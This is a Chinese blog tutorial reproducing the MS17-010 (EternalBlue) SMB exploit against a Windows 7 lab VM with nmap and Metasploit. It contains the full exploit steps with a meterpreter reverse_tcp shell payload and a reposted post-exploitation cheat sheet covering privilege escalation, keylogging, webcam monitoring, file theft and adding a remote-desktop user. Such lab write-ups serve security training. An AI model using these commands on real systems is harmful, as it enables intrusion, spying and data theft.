永恒之蓝漏洞复现

最新推荐文章于 2024-09-13 14:02:27 发布
最新推荐文章于 2024-09-13 14:02:27 发布
阅读量444 收藏 1
点赞数 4
分类专栏： 安全 黑客技术 文章标签： 安全性测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_77927094/article/details/132754382
版权

前言

漏洞描述：Microsoft Windows SMB Server远程代码执行漏洞Microsoft Server Message Block 1.0 (SMBv1)服务器处理某些请求时，在实现上存在远程代码执行漏洞，成功利用后可使攻击者在目标服务器上执行任意代码。如果攻击失败，会导致拒绝服务，对业务造成一定安全风险。

Microsoft Windows Server 2016、Microsoft Windows Server 2012 R2、Microsoft Windows Server 2012、Microsoft Windows Server 2008 R2、Microsoft Windows Server 2008、Microsoft Windows RT 8.1等等

官方描述：Microsoft Security Bulletin MS17-010 - Critical | Microsoft Learn

       kali下载：Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

       Windows7下载：MSDN, 我告诉你 - 做一个安静的工具站

一、环境搭建

1、关闭Windows7防火墙

选择“ 开始 ” ，然后打开“ 控制面板 ” >” 系统和安全 “>” windows防火墙 ”>“打开或关闭Windows防火墙”>”关闭Windows防火墙“

2、设置在同一网段

虚拟机网络适配器模式改为NAT或桥接模式，使攻击机和靶机在同一网段。

菜单栏选择“虚拟机“>”设置”>“网络适配器“>”NAT模式“或”桥接模式“

3、查询Windows和kali的IP地址

攻击机kali IP ：192.168.13.128            

查询方法：右键呼出菜单点击“在这里打开终端“

#kali汉化方法：kali如何切换成中文_kali设置中文_徐丰年as的博客-CSDN博客

输入代码：ifconfig

靶机Windows7 IP ：192.168.13.129      

查询方法：win+r呼出运行窗口输入“cmd“

输入代码：ipconfig

4、查询是否在同一网段

用kali ping Windows7查看是否在同一网段

命令：ping 192.168.13.129 -c 4

-c 4 ：限制测试次数为4次（节省时间,若不添加kali默认一直执行可用ctel + c 结束）

二、信息收集

1、用nmap工具扫描靶机查看目标信息

命令为：nmap -A -T4 -sV 192.168. 13.129

-A 选项用于使用进攻性（Aggressive）方式扫描；

-T4 指定扫描过程使用的时序（Timing），T4表示快速扫描。

总共有6个级别(0-5)，级别越高，速度越快，但也容易被防火墙发现；

-v 表示显示冗余（verbosity）信息，在扫描过程中显示扫描的细节，

包括扫描进度、发现的开放端口和服务信息等。

-sV：获取对应端口上更为详细的服务版本信息

确定操作系统为Windows7 开放445端口尝试ms17-010漏洞利用

三、漏洞利用

打开msf软件

查询ms17-010漏洞

先通过3 auxiliary/scanner/smb/smb_ms17_010查询是否存在该漏洞

代码：use 3 或 use auxiliary/scanner/smb/smb_ms17_010

show options 查看设置必选项（#Required 为yes的是必选设置）

set rhosts 192.168.13.129设置目标IP

run启动

发现目标系统存在ms17-010漏洞

使用代码：use 0 或use exploit/windows/smb/ms17_010_eternalblue利用exploit模块

show options查看配置必选项（#Required 为yes的是必选设置）

set payload windows/x64/meterpreter/reverse_tcp设置攻击载荷

set rhosts 192.168.13.129设置目标IP

run启动

设置完必选项直接启动得到Windows7权限

出现meterpreter>表示成功进入系统

四、后渗透攻击

使用？查询可执行命令

meterpreter可执行指令

转载：

Meterpreter的常用命令合集_meterpreter命令大全_先瘦个二十斤的博客-CSDN博客

一、基本命令

  1. help# 查看Meterpreter帮助
  2. background#返回，把meterpreter后台挂起
  3. bgkill# 杀死一个背景 meterpreter 脚本
  4. bglist#提供所有正在运行的后台脚本的列表
  5. bgrun#作为一个后台线程运行脚本
  6. channel#显示活动频道
  7. sessions -i number # 与会话进行交互，number表示第n个session,使用session -i 接到指定序号的meterpreter会话已继续利用
  8. sesssions -k  number #与会话进行交互
  9. close# 关闭通道
  10. exit# 终止 meterpreter 会话
  11. quit# 终止 meterpreter 会话
  12. interact id #切换进一个信道
  13. run#执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有脚本，常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
  14. irb# 进入 Ruby 脚本模式
  15. read# 从通道读取数据
  16. write# 将数据写入到一个通道
  17. run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
  18. use# 加载 meterpreter 的扩展
  19. load/use#加载模块
  20. Resource#执行一个已有的rc脚本

二、文件系统命令

  1. getwd 或者pwd # 查看当前工作目录 
  2. ls  #
  3. cd
  4. mkdir lltest2  #只能在当前目录下创建文件夹
  5. rmdir lltest2  #只能删除当前目录下文件夹
  6. getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
  7. lcd /tmp   #操作攻击者主机 切换目录
  8. cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
  9. upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上
  10. download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
  11. edit c:\\1.txt #编辑或创建文件  没有的话，会新建文件

三、系统命令

  1. getsystem       #会自动利用各种各样的系统漏洞来进行权限提升
  2. migrate          #进程id进程迁移
  3. background     #把当前的会话设置为背景，需要的时候在启用
  4. getuid           #查看对方正在运行的用户
  5. ps              #列出所有的进程
  6. getpid          #返回运行meterpreter的id号
  7. sysinfo         #产看系统信息和体系结构
  8. shell           #切换到cmd的系统权限方式
  9. exit           #退出shell会话返回meterpreter或终止meterpreter
  10. getdesktop    截取目标主机当前桌面会话窗口
  11. run webcam -p /var/www    #在/var/www目录监控目标主机的摄像头
  12. keylog_recorder   #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘

四、远程桌面&截屏

  1. run getgui -e #开启远程桌面
  2. run getgui -u user1 -p 123   #添加用户
  3. run getgui -f 4444 –e   #3389端口转发到6661
  4. enumdesktops  #查看可用的桌面
  5. getdesktop    #获取当前meterpreter 关联的桌面
  6. set_desktop   #设置meterpreter关联的桌面  -h查看帮助
  7. screenshot  #截屏
  8. use espia  #或者使用espia模块截屏  然后输入screengrab
  9. run vnc  #使用vnc远程桌面连接，这方法有点问题，上传了exe但是启动不了
永恒之蓝--漏洞修补
chang113的博客
06-20 1559
永恒之蓝--漏洞修补
Windows下永恒之蓝（MS17-010）漏洞的复现分析
qq_51331767的博客
01-11 2061
Windows下的MS17-010（永恒之蓝）的复现与分析
win2012R2永恒之蓝安全补丁.zip
05-12
windows server 2012r2 永恒之蓝 安全补丁 windows 8.1 kb4012213 kb4012216
【漏洞复现】永恒之蓝(努力过，失败了)
最新发布
weixin_53379921的博客
09-13 1159
永恒之蓝（EternalBlue）是一个网络安全漏洞，它影响微软Windows操作系统的SMB（服务器消息块）协议。这个漏洞最初由美国国家安全局（NSA）发现并用于其网络间谍活动。但后来，一个名为“影子经纪人”（Shadow Brokers）的神秘团体在2017年泄露了这个漏洞和其他一些工具。
永恒之蓝漏洞解析
xhx836161547的博客
02-08 2384
永恒之蓝实验报告
永恒之蓝漏洞复现(ms17-010)
内心不种满鲜花就会长满杂草
01-20 2万+
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。
永恒之蓝漏洞复现（详细版）
Zqinglele的博客
03-20 3803
matesploit框架（Matesploit Framework，MSF）是一个开源工具，由Ruby程序语言编写的模块化框架，主要为后端提供用来测试的端口（如控制台、Web、CLI）。常用为控制台接口，通过该接口可以访问matesploit框架的所有插件（如payloads、利用模块、post模块等），还可使用第三方程序的插件（如sqlmap、nmap等）。这下只需配置靶机IP地址、命名的管道、端口、线程数（后三个已经配置好了）成功发现可利用漏洞ms17-010，，扫描模块结束，接下尝试进行攻击。
2024年最新[永恒之蓝]实战-漏洞复现_永恒之蓝漏洞复现实验
2401_84297796的博客
05-03 1388
6、这个选项的用处主要是渗透攻击成功后目标机与LHOST建立的Shell连接，所以LHOST参数设置我们自己本地的IP地址,RHOSTS参数还是目标IP。3、我们在第二步的时候使用的是auxiliary模块进行的漏洞检测，这回我们使用exploit模块进行漏洞利用。2、这里我们先选择#1的auxiliary（辅助模块）先进行踩点，查看漏洞是否可以利用，再去进行渗透攻击。3、使用#show options 命令，查看需要设置的选项（Required为yes是必须设置的选项）。
2024年最新[永恒之蓝]实战-漏洞复现_永恒之蓝漏洞复现实验(1)
2401_84297796的博客
05-03 925
1、msfconsole进入MSF模式，再测试能不能ping通目标主机（192.168.164.129），用nmap扫描主机开放445端口，接下用msf测试一下漏洞是否存在。3、我们在第二步的时候使用的是auxiliary模块进行的漏洞检测，这回我们使用exploit模块进行漏洞利用。2、这里我们先选择#1的auxiliary（辅助模块）先进行踩点，查看漏洞是否可以利用，再去进行渗透攻击。3、使用#show options 命令，查看需要设置的选项（Required为yes是必须设置的选项）。
永恒之蓝漏洞复现（包括常见问题处理）和修复方案
sinat_27757177的博客
10-17 5199
永恒之蓝漏洞复现（包括常见问题处理）和修复方案
永恒之蓝（MS17-010）漏洞复现
tubug的博客
05-21 7153
2017 年 4 月 14 日晚，黑客团体 Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日，不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网呾政府机构与网中招，被勒索支付高额赎金才能解密恢复文件。.........
ms17-010（永恒之蓝） 漏洞复现与处理
diaobusi的博客
06-05 1万+
ms17_010 是一种操作系统漏洞，仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统，并执行任意代码。这个漏洞通过 445 文件共享端口进行利用，一旦攻击者成功利用该漏洞，就可以在目标主机上植入各种恶意软件，如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码，将目标系统中的所有文件加密并威胁用户付款。
【渗透测试：MS17_010（永恒之蓝）漏洞复现与分析】
qq_61947585的博客
07-14 2526
永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry程序，使全世界大范围内遭受了该程序，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该程序出来不久就被微软通过打补丁修复。
永恒之蓝 MS17-010漏洞复现
热门推荐
MX的博客
10-07 3万+
永恒之蓝 MS17-010漏洞复现 文章目录永恒之蓝 MS17-010漏洞复现一：漏洞原理1：简介2：漏洞原理代码详解二：漏洞复现1：信息收集 一：漏洞原理 1：简介 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。 注：SMB服务的作用：该服务在Windows与UNIX系列OS之间搭起一座桥梁，让两者的资源可互通有无，S...
msf永恒之蓝漏洞复现及问题解决
weixin_53253733的博客
02-12 7064
IP kali：192.168100.101 Windows7：192.168.100.91 Windows系统需要关闭防火墙，尤其是公用网络设置应该关闭 开始 1，查找永恒之蓝漏洞 search ms17_010 show options：展现需要设置的模块 使用漏洞 注：RHOST：靶机IP地址，即为Windows7的IP地址，set RHOST 192.168.100.91 RPORT：靶机端口号， 默认445端口，不必设置 LHOST：攻击机I...
永恒之蓝漏洞复现流程
09-01
永恒之蓝漏洞的复现流程大致如下： 1. 首先，你需要准备两台机器，一台是攻击机（Linux kali），另一台是靶机（Windows 2008R2）。 2. 打开Metasploit框架，可以使用命令`msfconsole`。 3. 在Metasploit框架中，使用`search ms17_010`命令搜索永恒之蓝漏洞的相关代码。你会找到两个工具，其中`auxiliary/scanner/smb/smb_ms17_010`是用于扫描漏洞的模块，`exploit/windows/smb/ms17_010_eternalblue`是用于攻击的代码。一般情况下，你需要先使用扫描模块，如果显示存在漏洞，再使用攻击代码进行攻击。 4. 配置攻击目标IP，使用命令`use exploit/windows/smb/ms17_010_eternalblue`选择攻击模块。 5. 接下来，你需要使用该模块对靶机服务器进行攻击。使用命令`set RHOSTS <靶机IP>`来配置目标IP。 6. 最后，执行攻击命令，例如使用`exploit`命令开始攻击。 需要注意的是，复现永恒之蓝漏洞属于安全研究领域，只应在合法的环境下进行，并遵守相关法律法规。在实际环境中，应该始终保持系统和软件的更新，以免存在已知漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [永恒之蓝漏洞复现](https://blog.csdn.net/weixin_39096432/article/details/115422428)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值